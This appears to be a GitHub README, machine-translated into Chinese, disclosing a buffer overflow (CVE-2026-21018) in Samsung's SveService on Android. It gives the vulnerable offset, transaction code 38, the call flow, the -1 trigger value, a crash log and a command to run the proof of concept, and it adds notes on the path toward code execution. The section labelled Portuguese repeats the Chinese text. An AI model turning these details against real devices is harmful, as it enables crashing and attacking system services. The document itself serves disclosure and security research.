Filipemendonca1978/CVE-2026-21018
GitHub: Filipemendonca1978/CVE-2026-21018
针对三星 Android 设备 SveService 缓冲区溢出漏洞(CVE-2026-21018)的概念验证工具,演示了无需特殊权限即可触发 system 级服务崩溃的漏洞利用路径。
Stars: 0 | Forks: 0
# SveService 缓冲区溢出
[](#português)
[](#english)
`Samsung SMR May 2026`
`SVE-2026-0478(CVE-2026-21018)`
`受影响版本:Android 14, 15, 16`
`披露状态:私下披露`
`SMR May-2026 Release 1 之前的 SveService 存在越界写入漏洞,允许本地特权攻击者执行任意代码。`
`该补丁添加了适当的输入验证。`
### 警告:这仅是用于教育目的的概念验证,我对您所做的任何非学习相关的行为概不负责。特此警告。`
### 此测试在 Galaxy A17 LTE (SM-A175F) 上进行`
## 英语
### 概述
运行 Android 16 的三星设备上的系统服务 `SveService` (`com.sec.sve`) 存在缓冲区溢出漏洞。该服务以 `system` (UID 1000) 身份运行,并且可以通过 Binder **无需任何特殊权限**进行访问。
### 组件
| 组件 | 角色 | 版本 |
|-----------|------|---------|
| `sveservice.apk` | Android 服务 | API 36 |
| `libsvejni.so` | 原生 ARM64 库 | Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9` |
### 漏洞细节
在 `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`) 中,参数 `i18`, `i19`, `i20`(通过 AIDL 作为 `i106/i107/i108` 接收,`TRANSACTION_sveSetCodecInfo = 38`)被直接传递给 `memset`、`sub sp, sp, xN` (alloca) 和 `memcpy`,**没有任何大小验证**。
类似的功能(`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`)通过 `cmp w20, #0x1e; b.gt` 进行验证(拒绝大于 30 字节的请求)。而 `SetCodecInfo` 完全没有进行验证。
### 调用流程
```
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
```
### 值为 `-1` (0xFFFFFFFF) 时的情况
| 操作 | 值 | 效果 |
|-----------|-------|--------|
| `(i18 + 15) & ~15` | `0` | 分配 0 字节 |
| `memset(buf, 0, i18)` | `0x00000000FFFFFFFF` | 尝试清零 4 GB → **SIGSEGV** |
| `sxtw(i18)` 用于 memcpy | `0xFFFFFFFFFFFFFFFF` | -1 的符号扩展 → ~18 艾字节 |
### 崩溃证据 (Tombstone 07)
```
Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
```
### PoC
```
cd poc
./build_and_run.sh
```
预期输出:
```
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
```
### 备注
- **无需 root**:通过 `app_process` 执行 `ServiceManager.getService()` 可以使用 shell UID 运行。
- **绕过权限**:`signatureOrSystem` 权限未被强制执行 —— 该服务直接通过 `ServiceManager.addService()` 注册,绕过了 Android 的权限机制。
- **必然崩溃**:使用 `0xFFFFFFFF` 的 `memset` 总是会导致崩溃。要实现 RCE 将需要地址泄露 + ROP(SM-A175F 上没有 PAC)。
## 葡萄牙语
### 概述
运行 Android 16 的三星设备上的系统服务 `SveService` (`com.sec.sve`) 存在缓冲区溢出漏洞。该服务以 `system` (UID 1000) 身份运行,并且可以通过 Binder **无需任何特殊权限**进行访问。
### 组件
| 组件 | 角色 | 版本 |
|------------|-------|--------|
| `sveservice.apk` | Android 服务 | API 36 |
| `libsvejni.so` | 原生 ARM64 库 | Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9` |
### 漏洞细节
在 `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`) 函数中,参数 `i18`, `i19`, `i20`(通过 AIDL 作为 `i106/i107/i108` 接收,`TRANSACTION_sveSetCodecInfo = 38`)被直接用作 `memset`、`sub sp, sp, xN` (alloca) 和 `memcpy` 的参数,**没有任何大小验证**。
其他类似的功能(`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`)通过 `cmp w20, #0x1e; b.gt` 进行验证(拒绝大于 30 字节的请求)。而 `SetCodecInfo` 没有任何验证。
### 调用流程
```
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
```
### 值为 `-1` (0xFFFFFFFF) 时的情况
| 操作 | 值 | 效果 |
|----------|-------|--------|
| `(i18 + 15) & ~15` | `0` | 分配 0 字节 |
| `memset(buf, 0, i18)` | `0x00000000FFFFFFFF` | 尝试清零 4 GB → **SIGSEGV** |
| `sxtw(i18)` 用于 memcpy | `0xFFFFFFFFFFFFFFFF` | -1 的符号扩展 → ~18 艾字节 |
### PoC
```
cd poc
./build_and_run.sh
```
预期输出:
```
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
```
### 备注
- **无需 root**:通过 `app_process` 执行 `ServiceManager.getService()` 可以使用 shell UID 运行。
- **绕过权限**:`signatureOrSystem` 权限未被强制执行 —— 该服务直接通过 `ServiceManager.addService()` 注册,绕过了权限检查。
- **必然崩溃**:使用 `0xFFFFFFFF` 的 `memset` 总是会导致崩溃。要实现 RCE 将需要地址泄露 + ROP(SM-A175F 上没有 PAC)。
标签:Android, Cutter, DSL, Maven, Web报告查看器, 域名枚举, 安全PoC, 漏洞验证, 目录枚举, 移动安全